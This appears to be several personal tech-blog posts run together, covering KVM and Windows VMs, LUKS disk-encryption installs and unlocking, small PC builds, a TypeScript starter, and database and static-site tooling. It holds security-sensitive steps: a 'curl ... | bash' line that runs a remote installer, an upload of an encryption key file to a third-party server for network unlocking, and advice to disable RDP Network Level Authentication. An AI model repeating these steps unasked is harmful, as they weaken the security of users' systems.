• Wikipedia - CAP Theorem
• Wikipedia - PACELC Theorem

Install KVM

KVM requires CPU virtualization support (VT-x/AMD-V) to be enabled in the BIOS. You can check if your CPU is supported by installing cpu-checker and running the kvm-ok command.

sudo apt install cpu-checker -y
kvm-ok

This should show:

INFO: /dev/kvm exists
KVM acceleration can be used

If it does not then reboot, press F2 to enter the BIOS, enable the support and try again.

Now for the installation of the software

sudo apt-get install libvirt-clients libvirt-daemon-system qemu-kvm bridge-utils dnsmasq

You may also type groups and verify that you are member of the libvirt group.

id maurits

Before adding yourself log out and in to see if that adds you to the group.

sudo usermod -a -G libvirt maurits

Now set the default “virsh” connection in the global config:

sudo nano /etc/libvirt/libvirt.conf

Uncomment the line:

uri_default = "qemu:///system"

To test that the installation succeeded you can connect to the hypervisor by running:

virsh list

The output should be:

 Id    Name                           State
----------------------------------------------------

It is an empty list of virtual machines.

Remote client

Now on your local computer (not on the server) install the virtual machine manager by running:

sudo apt install virt-manager

Now start virt-manager and create a new connection towards your server. This should use SSH.

NB: You can even run virt-manager on Windows 10 using the Windows Subsystem for Linux (WSL).

Create VM

When you create a Windows 11 VM, ensure to choose VirtIO technology for disk, video and network as those are really fast. You may need to download the latest driver disk from:

https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/

You may need to use that driver disk during the windows installation. Note that you can get a time-limited link for a Windows 11 installation disk from:

https://www.microsoft.com/en-us/software-download/windows11

Note that you should access that URL from Linux to get to the download page (or fake that using a “User-Agent Switcher”). You should put the install images in the “/var/lib/libvirt/images/” directory on the KVM server (requires “sudo”).

Set a fixed IP address

By default the KVM network is on 192.168.122.0/24 and it uses NAT and DHCP. If you want to access your Windows host over RDP you may need to set a DHCP reserved address. You can read how to do this on my post “Static IP addresses in a KVM network”.

Start domain on RDP connect

In order to start the Windows VM on RDP connect (failure) you need to add the name of the VM to “/etc/hosts” on the server (requires sudo) and you need to install my wake-domain script. This will either start the VM when connection fails or wake it from “pmsuspended” state. This allows users to turn off the VM or let it suspend (energy settings).

Connect via RDP over SSH

I use the tool MobaXterm to connect to RDP over SSH. You can simply enter the private 192.168.122.x address as the remote RDP machine and then configure the KVM server as SSH jump host. Note that you may have to disable Network Level Authentication (NLA) by going in “System Properties” to the “Remote” tab and uncheck “Allow connections only from computers running Remote Desktop with Network Level Authentication (recommended)”.

Set clock to UTC

In order to set the clock to UTC in Windows 11 you may need to run the following registry file.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation]
"RealTimeIsUniversal"=dword:00000001

Run the file and turn the VM off and on and see that the time synchronization works and it didn’t jump back to UTC.

Enter the rescue mode

• Login to the Robot robot.hetzner.com and go to the “Server” page.
• Click on “Server” > “Key Management” > “New Key”, add your public key and click “Add Key”.
• Click on “Server” and click your server and choose the “Rescue” tab.
• Select your “Public key” and click “Activate Rescue System”.
• Now click on the “Reset” tab and choose “Execute an automatic hardware reset” and click “Send”.
• Wait for 60 seconds (duration depends on the hardware) for the server to reboot.
• Use an SSH client to connect with username “root” to the IP address of your server.

Installation instructions

Add your public keys to the rescue image by using an editor and pasting the public keys:

nano /root/.ssh/authorized_keys

Copy the public keys to a location that can be used by the installer:

cp /root/.ssh/authorized_keys /tmp/authorized_keys

Create a “post-install.sh” file:

nano /tmp/post-install.sh

And fill it with the following content:

#!/bin/bash
cp /root/.ssh/authorized_keys /etc/dropbear/initramfs/
apt-get update >/dev/null
apt-get -y install cryptsetup-initramfs dropbear-initramfs

Make the file executable:

chmod +x /tmp/post-install.sh

Now run the installer interactive with the “post-install.sh” script:

installimage -x /tmp/post-install.sh

Now an editor opens and you need to add (use your own passphrase):

CRYPTPASSWORD yoursecretpassphrase

Also adjust the HOSTNAME to match your hostname (and set the reverse in the robot):

HOSTNAME yourhostname.yourdomain.com

Adjust the line:

PART / ext4 all

And add the word “crypt” so that it becomes:

PART / ext4 all crypt

Now add a “SSHKEYS_URL” line to specify where the public keys are located:

SSHKEYS_URL /tmp/authorized_keys

Press “Esc” and save the file on exit. The installer begins. Wait until it shows:

INSTALLATION COMPLETE

Now you can reboot the server from the command line using the “reboot” command:

reboot

After waiting for 60 seconds for the server to reboot you can connect again to dropbear:

ssh root@yourhostname.yourdomain.com

You may see a warning and have to remove the signature. This may happen more often as the key of dropbear does not match the key of the rescue image nor the key of your normal SSH server:

ssh-keygen -f "/home/maurits/.ssh/known_hosts" -R "yourhostname.yourdomain.com"

Now you get to the BusyBox prompt and you need to type “cryptroot-unlock” to unlock the disk:

cryptroot-unlock

Now enter the passphrase you’ve chosen earlier. You should get disconnected after a successful passphrase and the system should boot up normally.

You installation is complete and your system is up-and-running.

Links

• How to install Ubuntu 20.04 with full disk encryption
• TQdev.com - LUKS with HTTPS unlock

About the ASRock N100DC-ITX

It is a very affordable board considering you can power it with a 20 euro external power supply and has a CPU and cooler included for only 140 euro. Add an ITX case, some RAM and a drive and you’ll build a nice fanless budget PC around 300 euro. Great features are it’s full size DDR4 support, 2 SATA ports and it’s NVMe slot (PCIe 3.0 x4). The board has 6 physical USB ports on it’s I/O shield and supports 6 USB ports on front panel connections. It also supports M2 WiFi, but be careful as you must use a CNVio2 (Key E) card, such as the (recommended) Intel AX211 (which performs really well).

How about the Asus PRIME N100I-D D4?

The only other N100 ITX motherboard option I’m aware of at the time of writing is the Asus PRIME N100I-D D4. Even though Asus states that the board has a 16GB SO-DIMM RAM limit, it happily accepts a 32GB SO-DIMM in it’s single (channel) slot. It has NVMe drive support and also has 1 SATA3 port, so everything looks good. Note that this is not a DC board, so it requires you to buy an additional PicoPSU to run it in a small case. Or if you have a small case with an internal power supply (such as the Inter-tech ITX-601) the Asus may be a good match too.

List of materials

The materials used in this build are (prices from Dutch web-shops like Megekko and Amazon.nl):

 91 Antec ISK 110 Case (includes 90W power brick)
140 ASRock N100DC-ITX motherboard with CPU
 82 Patriot Viper Steel DDR4 1 x 32GB 3200MHz RAM
 95 Crucial P3 Plus 2TB M.2 PCIe Gen4 NVMe SSD
 15 Noctua NF-P12 1300 RPM Redux, 4-pins PWM, 120mm Fan
 21 Intel® Wi-Fi 6E AX211, Key E M2, CNVio2
 11 2 x IPEX (MHF2) Cable + 8dBi WiFi Antenna
 14 Be quiet! MC1 M2 SSD cooler
--- +
469 Total

Note that even without trying to save costs, I still managed to stay under 500 euro total costs on this build. I had an “Antec ISK 110 Vesa” laying around from a previous upgrade with 2 x USB 3 and 2 x USB 2 on the front, but this case is hard to find now. As an alternative I do recommend the “Chieftec IX-03B” with a 120mm x 15mm slim fan, which looks nicer as it is a smaller case, but is lacking front panel USB connections.

So this build is not “silent”?

Well.. depends on your definition of silent I guess. The motherboard is fan-less and it supports connected fans that only power up above a certain motherboard or CPU temperature. The “Noctua NF-P12 Redux” is a very quiet fan that I only spin up to 25% (of 1300 RPM) when the motherboard goes above 50 degrees Celsius. I configured the fan curve to spin the fan 10% faster for every 10 degrees the motherboard heats up. You can play with these (visual) fan curves in the BIOS, which is very nice. I can assure you that most of the time the fan will be off and when it is on, you won’t hear it. It may not even be needed, but I believe that a little airflow has a positive effect on the life-time of the components. So yes, the build is very quiet and no it’s not fan-less.

Is it using less than 8 watt idle?

No, it’s not as efficient as my previous build. It uses about 12 watt idle, which is a lot more (measured on the wall socket). This was somewhat disappointing, but it triggered me to try out the suspend (to RAM, S3) option. When suspended it uses only 2 watt, which is very nice (in combination with auto-suspend after half an hour). Also waking up from suspend was very fast (1-2 seconds). The only problem was that initially after waking up from suspend the video failed to work (no signal). I found out that this was a bug that was solved in a recent Linux kernel. After updating my Linux kernel to the latest version (using the mainline tool) suspend was working flawless.

Conclusion: Cheap, small and quiet

So I like computers to be cheap, small and quiet. After today I can say I also achieved “relatively fast” as this machine isn’t noticeably slower than my 5700G in everyday tasks (surfing, office work, programming). If you are looking for a living room PC that it relatively small and quiet I can recommend this build. It was a joy to build and it is a joy to work with. The PC is heavily used every day, so I feel the money is well spent. I hope I inspired you with this write-up and enjoy upgrading and tinkering!

Links

• TQdev.com - Low power computing at 8 watt idle
• TQdev.com - Antec ISK 110 with 3400G using cTDP
• TQdev.com - Chieftec IX-03B with AMD 5700G
• ASRock.com - ASRock N100DC-ITX - Overview
• Asus.com - Asus PRIME N100I-D D4
• UbuntuHandbook - Kernel mainline tool

Quick start

Type the following commands to get started:

git clone git@github.com:mevdschee/typescript-tictactoe.git
cd typescript-tictactoe
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.5/install.sh | bash
nvm install node
npm install
npm run dev

Now use Visual Studio Code (with the TypeScript extension) to edit the content and see how the code is recompiled and the browser is reloaded when the code is saved.

RequireJS

I’ve chosen to compile all TypeScript modules into one single JavaScript file (AMD format) and RequireJS to load the Javascript. I like the idea of all code being in a single Javascript file. Same goes for my sprites: I like to combine them in some form of spritemap (either SVG or PNG). I don’t think that it is really needed as fetching extra resources is less expensive in newer HTTP protocols. Note that RequireJS loads it’s modules after the document is loaded, so don’t wait for a document or window “load” event.

Starter project

By implementing TicTacToe I tried to make a small starter project for your/my own games. By cloning this starter you should be able to create more complex games. Check out AceCardGames.com to get an idea of what you could be building and clone this project to get creative with your own ideas and designs.

Source: https://github.com/mevdschee/typescript-tictactoe

Enjoy!

Canvas or DOM?

Although one can create Canvas based games, one can also create DOM based games (as I did). This is especially suitable for board games as these tend to have a fairly static layout. The advantage of DOM based games is that your sprites can move over and under each other by means of the “z-index”, without having to do programmatic redraws. I also like the SVG support and that I can create my graphics using either Inkscape or hand-written SVG.

History

AceCardGames.com is a hobby project of mine that is online since 2003 and offers a collection of 12 solitaire card games. I originally wrote the games in ActionScript 2 (Flash MX) for the Motion-Twin ActionScript Compiler (MTASC). In 2009 I rewrote the games in ActionScript 3 for the Flex 3 open source SDK. In 2017 I rewrote the games again in JavaScript and Scalable Vector Graphics (SVG). And now in 2023 I am rewriting the JavaScript code in TypeScript.

IDE and TypeScript compiler

I’ve installed the TypeScript compiler using “nvm” (Node Version Manager):

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.5/install.sh | bash
nvm install node
npm install typescript live-server

I use the following file and folder structure:

• tsconfig.json: TypeScript compiler configuration
• package.json: package configuration, dependency management
• src/index.ts: TypeScript entry point for the game
• src/*.ts: for the other (exported) TypeScript source code
• web/index.html: the HTML file serving the game
• web/js/*: JavaScript files used by the HTML (including the compiled output)
• web/uploads/*: images used by the game

To run the compiler I typed:

node_modules/typescript/bin/tsc -w

To run the live server I ran:

node_modules/live-server/live-server.js --mount=/src:src web

I have found that this command can be configured in “scripts” section of the “package.json”. I have also configured the “tsconfig.json” using:

{
  "compilerOptions": {
    "strict": true,
    "sourceMap": true,
    "target": "ES5",
    "module": "AMD",
    "outFile": "web/js/solitaire.js",
  },
  "compileOnSave": true
}

And loaded the “require.js” library, finally having to just add one line to my HTML to get started:

<script type="text/javascript">require(["index"]);</script>

Corresponding to the startup code in the “index.ts” file in the “src” directory. I have found that Visual Studio Code and it’s TypeScript extension by Microsoft provides a very nice developer experience.

Circular dependencies

I use the factory pattern with an abstract base class with a static create function returning a class extending the base class. The Typescript compiler gave the following cryptic error message:

TypeError: Class extends value undefined is not a function or null

According to this StackOverflow post the error is caused by a circular dependency. The classes extend the base class and the base class imports the classes to call their constructor in the static create method.

I’m running into the same problem. The Factory Pattern is causing a circular reference. It seems that moving the factory to another file (and not a static method inside of a class that gets inherited) is the way to go. – Johnny Oshika

This pattern is quite common and the error was not very descriptive. According to this Medium post you can fix the problem by adding all classes to the same typescript file (in different ways), but most people suggest to avoid circular dependencies, which is what I’ve chosen to do.

Getting started?

Do you want to start writing your own games? Check out my next post: TicTacToe in TypeScript, which can serve as a simple starter project. You can find the source code of the starter project on my Github account:

Source: https://github.com/mevdschee/typescript-tictactoe

Links

• AceCardGames.com - Online solitaire card games
• TQdev.com - TicTacToe in TypeScript
• Microsoft - Visual Studio Code extension: JavaScript and TypeScript Nightly
• StackOverflow - TypeError: Class extends value undefined is not a function or null
• StackOverflow - Node.js v6.2.0 class extends is not a function error?
• Medium - How to fix nasty circular dependency issues once and for all in JavaScript & TypeScript

Threat modeling

The first thing we need to do is list the threats, their likeliness and their damage. This is also called risk assessment or threat modeling, which OWASP defines as:

Threat modeling works to identify, communicate, and understand threats and mitigations within the context of protecting something of value. - OWASP

I would recommend that you do (frequent) risk assessment sessions to be able to mitigate the biggest risks.

Risk assessment how-to

In a collaborative session you can let people name all threats first (and write them all down) only to score them in part 2 of the session, ending in part 3 with some (hopefully simple) action points for mitigation on the highest scoring risk or risks. A simple way to calculate a risk score would be to rank the damage from 1-5 (XS,S,M,L,XL) and the likeliness from 1-5 (XS,S,M,L,XL) and multiply those two numbers. Do strive to mitigate the risks in order, highest score first. Do these risk assessments frequently as damage and likeliness can change wildly over time and also your IT landscape may be changing rapidly.

LUKS disk encryption

I have written about LUKS unlocking via USB, SSH and HTTPS. Some people argue that unlocking in certain way is “good” or “bad”, but this can simply not be said. For some companies having their desktop machines unlock over HTTPS may be ideal, while for the laptops of the same company it may not be an option. Some people are afraid of disks that break and computers that need repairs, while others are afraid of break-ins and stolen hardware. Both may require a different unlocking strategy. Some companies are afraid of spies inside the office and want to analyze reboot incidents to spot break-in attempts. Some servers in data-centers benefit from automatic remote unlocking as it minimizes downtime. Some want their unlock servers in the same data-center, while others want them cross data-center. Some want keys to be easily rolled over and backed up, others want keys to never leave the server or even stored non-exportable in a secure key storage. Some want encrypted root partitions, others encrypted home folders. As you see security measures are dependent on the context. Unlocking can be done in many different ways, whether or not the method of unlocking is appropriate depends on your context. Do a proper risk assessment and find out what method of disk encryption and unlocking fits your situation.

What about compliance?

In Europe we have the General Data Protection Regulation (GDPR). It requires that personal information that is transferred is sent over a secure channel and personal information that is “at rest” is encrypted. Single or multi-factor authentication may be required when personal information is accessed. And authorized access to personal information must be logged and be traceable to an individual human being. Applying disk encryption with a smart unlocking strategy might very well enhance your compliance and have a much lower impact than you were expecting.

If you have questions? Feel free to contact me at: maurits@vdschee.nl

ALERT! /dev/mapper/debian--vg-root does not exist.  Dropping to a shell!

Showing me a BusyBox shell and a prompt that looks like this:

BusyBox v1.30.1 (Debian 1:1.30.1-6+b3) built-in shell (ash) 
Enter 'help' for a list of built-in commands.

(initramfs)

In this post I will describe how to quickly mount your root partition from the initramfs shell and also how to easily correct bigger problems using Debian’s Rescue mode.

Unlocking from initramfs shell

If you do end up in the initramfs shell you need to type the following command:

cat /cryptroot/crypttab

Since the file “/etc/crypttab” is available as “/cryptroot/crypttab” in initramfs it shows something like:

vda5_crypt UUID=eee31528-256c-11ee-990f-b7ff89c85428 none luks,discard

Now after the mapper device you see a UUID. Take the UUID from the above output and run:

readlink -f /dev/disk/by-uuid/eee31528-256c-11ee-990f-b7ff89c85428

You now see the physical device, so somethings like:

/dev/vda5

Now you can unlock the root partition using the physical device and the mapper device:

cryptsetup luksOpen /dev/vda5 vda5_crypt

And now you can type one of the valid passphrases at the prompt:

Enter passphrase for /dev/vda5:

After this is accepted you need to continue the boot using “exit”:

exit

And the system should boot.

Using Debian Rescue mode

You can boot the Debian 12 (netinst) install image and it has “Advanced options” and then “Rescue mode” as option. After asking a bunch of simple questions about your language, location, keyboard and network setup and (temporary) hostname you are asked for the passphrase of the root device. After that you should choose “Yes” to also mount the boot partition. Now the first option is:

Execute a shell in /dev/debian-vg/root

If you choose that option then all you have to do to correct the misconfigured “/etc/crypttab” is:

nano /etc/crypttab
update-initramfs -u
exit

And the menu is presented again. You can now reboot.

Conclusion

If you make a mistake in your “/etc/crypttab” or other initramfs configuration files and you are using LUKS on LVM, then don’t worry. Debian’s Rescue mode is very smart and helps you with the otherwise manual steps of LVM2 scanning, LUKS unlocking, mounting root and boot and mounting proc and sys and binding dev. It does provide you with a “chroot”-ed environment so you can easily repair and regenerate your initramfs configuration, including your LUKS configuration.

Related / Links

• Debian.org: Installing Debian via the Internet
• TQdev.com: LUKS with HTTPS unlock
• TQdev.com: LUKS with USB unlock
• TQdev.com: LUKS with SSH unlock
• Debian User Forums: update-initramfs within a chroot

Enjoy!

Manual installation instructions

I have tested the below steps on Ubuntu 22.04 and these are expected to be correct for any recent Debian based distribution.

1. Install the “uuid” tool

   sudo apt -y install uuid

2. Create a random key name using the “uuid” tool:

   uuid

will show a random UUID, mine was:

cdbafbaa-21d8-11ee-9186-df2d5ef43f21

3. Create a 256 byte key file with random data (.lek = LUKS Encryption Key):

   dd if=/dev/urandom bs=1 count=256 > cdbafbaa-21d8-11ee-9186-df2d5ef43f21.lek

3a) Find your LUKS encrypted device:

sudo lsblk -l --fs | grep crypto

Output for me is:

nvme0n1p3         crypto_LUKS 2              eb571eb0-cff6-11ee-b5c9-fbde751daed9

3b) Check that you have a free slot:

sudo cryptsetup luksDump /dev/nvme0n1p3

Output should contain slots like:

Keyslots:

3c) Now add the encryption key to the last empty slot

sudo cryptsetup luksAddKey /dev/nvme0n1p3 cdbafbaa-21d8-11ee-9186-df2d5ef43f21.lek

You need to enter an existing passphrase to add the key. Afterwards you can re-run the previous command to check that adding the key has succeeded.

4. Ensure that the packages “curl”, “initramfs-tools”, “dropbear-initramfs” are installed.

   sudo apt -y install curl initramfs-tools dropbear-initramfs

Note that we install ‘dropbear-initramfs’ to ensure the network is configured.

5. Store the key on our “usbencryptionkey.com” webserver:

   curl -f -s -F “keyfile=@cdbafbaa-21d8-11ee-9186-df2d5ef43f21.lek”
   https://www.usbencryptionkey.com/register

6. Now create a hook to install the “curl” binary in the initramfs image.

   sudo nano /usr/share/initramfs-tools/hooks/curl

Paste the following content:

#!/bin/sh -e
PREREQS=""
case $1 in
    prereqs) echo "${PREREQS}"; exit 0;;
esac
. /usr/share/initramfs-tools/hook-functions
# copy curl binary
copy_exec /usr/bin/curl /bin
# fix DNS lib (needed for Debian 11)
cp -a /usr/lib/x86_64-linux-gnu/libnss_dns* $DESTDIR/usr/lib/x86_64-linux-gnu/
# fix DNS resolver (needed for Debian 11 + 12)
echo "nameserver 1.1.1.1\n" > ${DESTDIR}/etc/resolv.conf
# copy ca-certs for curl
mkdir -p $DESTDIR/usr/share
cp -ar /usr/share/ca-certificates $DESTDIR/usr/share/
cp -ar /etc/ssl $DESTDIR/etc/

And ensure that the script is executable:

sudo chmod 755 /usr/share/initramfs-tools/hooks/curl

7. Now create the keyscript:

   sudo nano /bin/luksunlockhttps

Paste the following content:

#!/bin/sh -e
# Wait 10 seconds for DHCP (needed for Debian 11+12)
if [ $CRYPTTAB_TRIED -eq "0" ]; then
  sleep 10
fi
if curl -f --retry-connrefused --retry 5 -F "uuid=$CRYPTTAB_KEY" \
  https://www.usbencryptionkey.com/request; then
  exit
fi
/lib/cryptsetup/askpass "Enter password and press ENTER: "

Ensure that the keyscript is executable:

sudo chmod 755 /bin/luksunlockhttps

8. Now modify the “crypttab” and replace “none luks” by “cdbafbaa-21d8-11ee-9186-df2d5ef43f21 luks,keyscript=/bin/luksunlockhttps” using:

   sed -i ’s/none luks/cdbafbaa-21d8-11ee-9186-df2d5ef43f21 luks,keyscript=/bin/luksunlockhttps/g’ /etc/crypttab

9. Now regenerate the “initramfs” using:

   sudo update-initramfs -u

Reboot and enjoy!

Testing

I tested with the following installs:

• Ubuntu 20.04 Server (ubuntu-20.04.6-live-server-amd64.iso)
• Ubuntu 22.04 Server (ubuntu-22.04.2-live-server-amd64.iso)
• Debian 11 (debian-11.5.0-amd64-netinst.iso)
• Debian 12 (debian-12.0.0-amd64-netinst.iso)
• Linux Mint 21.1 (linuxmint-21.1-xfce-64bit.iso)

This script is not yet ported to RockyLinux 8 & 9. Do you know about Dracut and want to contribute? Let me know at maurits@vdschee.nl.

The HTTPS backend

On the usbencryptionkey.com server the following HTTPS endpoints exist:

• /register: upload a key file and whitelists the requesting IP address.
• /request: requests key file using ‘uuid’ from a whitelisted IP address.

You can also download a shell install script that registers a new key and re-configures the boot, using:

wget usbencryptionkey.com/install.sh

The usbencryptionkey.com service is not ready yet, but I have many plans for the service and the website. Note that you can easily implement you own service.

Warning and disclaimer

The above commands modify the initramfs and errors could result in a system that does not boot. Although the commands do not delete your data it may be time consuming to restore access using a rescue image. If you have never updated initramfs from a chroot when booted from a rescue image then I suggested you try that first. And… make sure that you have backups of all your data.

Clevis and Tang

If you want even better security you may consider a solution based on Clevis and Tang that enable automatic unlocking. Upside is that the unlocking server does not have the keys and the downside is that it is a more complex solution. Consider your threat model and decide what you want to use. Some interesting talks about the subject are here:

• Youtube: Clevis and Tang: securing your secrets at rest (RHEL)
• Youtube: Clevis and tang overcoming the disk unlocking problem (Debian)

Related / Links

• TQdev.com: LUKS recovery from initramfs shell
• TQdev.com: LUKS with USB unlock
• TQdev.com: LUKS with SSH unlock
• Dracut module that integrates the OpenSSH sshd into the initramfs

Enjoy!

I use a Debian LAMP server to host the ClickOnce .net application. I use a SSH tunnel with a private/public key-pair instead of a password to encrypt the database connection. This allows me to connect remote to the database even though the database server is not accessible over the Internet (only listens on localhost).

Relevant Nuget packages:

• MySql.Data
• SSH.NET
• SshKeyGenerator

Code conversion

In order to migrate from SQL Server to MariaDB we need to covert the code and the data. First you need to change the code:

• Change “Microsoft.Data.SqlClient” to “MySql.Data.MySqlClient” and prefix corresponding classes with “My” (“SqlConnection” to “MySqlConnection” and “SqlCommand” to “MySqlCommand”).
• Change the SQL queries from the SQL Server dialect to the MySQL dialect. Note that table and columns names in Linux installs of MariaDB are case sensitive.

This is a lot of work (depending on the number of queries), but I currently have not found a way to automate this (except for search and replace). Next up is the data conversion.

Data conversion

Typically I try not to use commercial tools, but for this job I had to convert 50 databases each with 10 to 100 tables with 3 to 30 fields having a combined size of 50 gigabyte. Doing this work manually would have costed weeks (if not months), while with these tools I have completed the task in a few hours. The tools I used are very easy to install on Windows and have a free demo period.

• With the “Data Transfer” option of “Navicat Premium 16” (commercial product) convert the database from SQL server to MariaDB.
• With the “Synchronize” option of “SQL Examiner 2023” (another commercial product) fine-tune the MariaDB schema to match the SQL server schema.

Note that both “Navicat Premium 16” and “SQL Examiner 2023” have options to keep the data (and structure) of your converted database in sync in the period you are busy converting the code of your application (and testing it).

Conclusion

If you need to migrate from SQL Server to MariaDB then you need to convert the database structure and automate data synchronization. Commercial tools like “Navicat Premium 16” and “SQL Examiner 2023” can do these two things for you and since they have a free (fully functional) demo period there is absolutely no risk in trying them out.

Links

• Navicat Premium 16 - A multi-database development tool
• SQL Examiner 2023 - Compares and synchronizes database schemas

Full disclosure: This post is not sponsored in any way (especially not by the reviewed products “Navicat Premium 16” and “SQL Examiner 2023”).

The Chieftec case

The Chieftec IX-03B-OP is smaller than the Antec ISK 110, but it does not have the 4 front USB ports that the Antec has. In return you get a smaller and easier to work with case with only 3 cables inside: HDD LED, power switch and power LED. The case has 2 holes that fit the PicoPSU power jack perfectly. The SATA power cables can be removed from the PicoPSU, minimizing the number of cables, making the build really clean. The motherboard is slightly raised from the side-panel of the case using built-in standoffs. There is clearance and air flow for a rear side M2 slot on the motherboard. Also, the Noctua NH-L9a-AM4 fitted easily with about 3-4 millimeters to spare. The Leicke power brick is rather large, but it is silent (no coil whine) and very powerful.

Parts list

Here is the parts list of the build:

  42 EUR - Chieftec IX-03B-OP - SFF Case
  54 EUR - PicoPSU-160-XT 160W/200W - Power supply
  45 EUR - LEICKE ULL 156W 12V 13A - Power adapter
 125 EUR - Asrock B550M-ITX/ac - Motherboard
 199 EUR - AMD Ryzen 7 5700G CPU - Processor
  49 EUR - Noctua NH-L9a-AM4 - CPU cooler
  14 EUR - Noctua NA-FD1 - Fan duct kit
 145 EUR - Samsung 980 PRO 2TB M.2 - Solid state drive
  95 EUR - G.Skill DDR4 Ripjaws-V 2x16GB 4000MHz - Memory
--------
 768 EUR (including VAT)

These prices are from June 1st, 2023 on Dutch web shops like Megekko and Amazon.nl (Europe, Netherlands).

Noctua means “quiet”

Note that I run Xubuntu 22.04 LTS and it works great. The computer is almost inaudible (silent fan profile in the BIOS) under normal office usage (e.g. browsing the Internet). When playing games the Noctua fan did speed up a bit. I stress tested it (for 30 minutes at a 20C degrees room temperature) to see that it didn’t use too much power and it was stable at full load and the CPU temperature peaked at around 87C degrees with the motherboard + CPU drawing about 88 Watt. While it certainly didn’t overheat, the Noctua fan was very much audible under full load. Since it is a very silent 90mm fan, it is isn’t an annoying high pitched noise. Also, the Noctua NA-FD1 fan duct kit helps the efficiency of the CPU cooler, bridging the gap between the case panel and the CPU fan, preventing the CPU fan from circulating air within the case.

Conclusion

I’m very happy with this build, the 2.73 liter machine doesn’t look much larger than my 1.92 liter ASRock Deskmini X300 SFF. I prefer Mini-ITX over the STX motherboard that the Deskmini uses, because of the availability of these boards and the full size RAM slots instead of the SO-DIMM slots. I’m happy the PicoPSU-160-XT and Leicke power supply combination delivers enough power to unleash the full potential of the CPU (the Deskmini also uses a 150 Watt power supply). Aside from the excellent performance and being almost silent the build is small, not overly expensive, looks professional and is a joy to build.

Links

• Computer im Kleinstformat - Kann man darauf spielen?
• Chieftec Compact IX-03B Mini-ITX | Unboxing + Review

Visitors graph

The graph below shows the unique visitors per month. I count the number of unique IP address seen per day and add all days of the month.

As you can see the number of unique visitors per month has grown to about 10000 over time.

Top 3 most visited posts

These are the posts with the most visitors overall (in the past 7 years):

1. 43800 visitors - The “Boring Software” manifesto (2018)
2. 35776 visitors - Cannot copy Windows 10 “install.wim”? (2019)
3. 28769 visitors - Programming C# on Ubuntu Linux (2016)

You can see the 10 most popular posts of the past 30 days in the footer.

Keep reading!

What did Github do?

Let’s start with some history. Static site generators became really popular with the adoption of Jekyll on Github pages. Unfortunately Github decided that they didn’t want to update their Jekyll runners. Also the performance differences between Jekyll and Hugo were very big: A site that would build in 340 ms in Hugo would take over 14 seconds to build in Jekyll (factor 40 wall clock time) as you can read here. Another comparison can be found here.

Jekyll had Liquid, Zola has Tera!

Hugo is world’s most popular SSG, but it is notoriously hard to learn, especially the template language. Jekyll was using Liquid, which was easier to learn. Zola uses Tera, which looks a lot like Liquid (and like Jinja2, Django templates or Twig). This makes it easier to convert a site from Jekyll to Zola than from Jekyll to Hugo.

Is Zola really faster?

Build times are great with Hugo, but they are absolutely mind-blowing with Zola. To prove the claims I had read (here) I converted a (real) site with 50 pages from Hugo to Zola and measured the build times. These are the build times (as measured by the GNU/Linux “time” command):

Hugo
====
real   0m0,178s
user   0m1,897s
sys    0m0,048s

Zola
====
real    0m0,036s
user    0m0,123s
sys     0m0,052s

As you can see I went from 178ms build time to 36ms build time (“real” or “wall clock” time), roughly a factor 4. On the CPU load (“user” and “sys” time combined) the load decreased by roughly a factor 11: from 1945ms to 175ms. This means that users see their sites faster and that the CPU load on the (build) servers is lower.

Where Zola is better than Hugo

• It generates sites faster
• More familiar template language
• It has search capabilities built-in

Where Hugo is better than Zola

• It is more popular, has a bigger community
• It has flexibility in URL schemes and overrides
• Better support for multi-lingual sites

Conclusion

IMHO Zola is a great alternative to Hugo. It is faster, has an easier to learn template language and has a nice search feature built-in. The documentation was good enough for me and the error messages got me up to speed pretty fast. I felt the developer experience was better than it was with Hugo. I fully recommend to give it a try: I feel this is the most promising static site generator there is right now.

Links

• Zola - Your one-stop static site engine
• Tera - A powerful, easy to use template engine for Rust
• simbleau.github.io - Blogging like a rustacean
• dabase.com - Zola SSG review
• david.kolo.ski - Static Site Generation with Zola
• dev.to - How to use Zola the Rust based static site generator
• peterbabic.dev - Setting up an URL prefix in Zola
• brycewray.com - Gems in the rough

Design and Performance

The J6412 Venoen 12th Gen Mini PC features is a small and powerful machine. It measures just 150mm x 150mm x 58mm, not taking up too much space on the desk. The mini PC features 2x SO-DIMM slots that support up to 64GB of DDR4 memory. It also features an M.2 slot that supports NVMe SSDs for super fast I/O.

Connectivity

The J6412 Venoen 12th Gen Mini PC features a range of connectivity options, including 2x Gigabit Ethernet ports, 2x HDMI 2.0 ports, 2x USB 3.2 Gen 2 ports, 2x USB 2.0 ports and 2x RS232 serial ports. It has 2x 3.5mm audio jack connections: one for the microphone and one for the audio out. It also features built-in Wi-Fi 6 and Bluetooth 5.2.

A backup on your desktop

I have added a Crucial MX500 4TB SSD to the Venoen Mini PC for my backup needs. The primary NVMe disk and the added Crucial 2.5inch disk are both disk encrypted using LUKS. The PC is situated on my desk and it is running Ubuntu Linux. Every night it runs a cron job that does an rsync from the cloud machines to ensure that I have local backups of all my data.

It is quiet and stays cool

I do recommend running it as a fully quiet and powerful always on Linux server as it uses little power. It doesn’t get warm even when running backups for an hour, which is important to me, as the I want the Crucial disk to be reliable. Note that I did go into the BIOS and turned off the turbo making the quad core run at 2Ghz max to ensure there will be no excessive heat generation.

Slow boot under Linux

Installing Linux is easy, except that the boot process hanged for over a minute at a certain point. I added to the last line of the file /etc/default/grub:

GRUB_CMDLINE_LINUX="module_blacklist=pinctrl_elkhartlake"

Rebuilt the grub config by

grub-mkconfig -o /boot/grub/grub.cfg

Powered off and on again. Works fine.

Conclusion

The J6412 Venoen 12th Gen Mini PC is a powerful and compact computer that works perfect (after adding a grub boot option) as an always on Linux server. Its fanless design means that it operates silently, making it ideal for use in quiet environments, like on my desk. Its powerful processor and fast memory make it perfect for demanding background tasks of a Linux server, while its range of connectivity and expansion options make it highly versatile.

Links

• Intel Celeron Processor J6412 1.5M Cache up to 2.60 GHz Product Specifications
• Venoen - Fanless Mini PC Intel Celeron J6412 embedded computer
• Crucial MX500 4TB 3D NAND SATA 2.5-inch 7mm Internal SSD
• Slow boot and reboot fail on Intel Elkhart Lake SoC - Workaround

What is the cloud anyway?

Cloud does not mean the use of virtual machines and/or container orchestration. Actually it is all about the move from CapEx to OpEx for your IT infrastructure.

Capital expenditures are major purchases that a company makes, which are used over the long term. Operating expenses, on the other hand, are the day-to-day expenses that a company incurs to keep its business running.

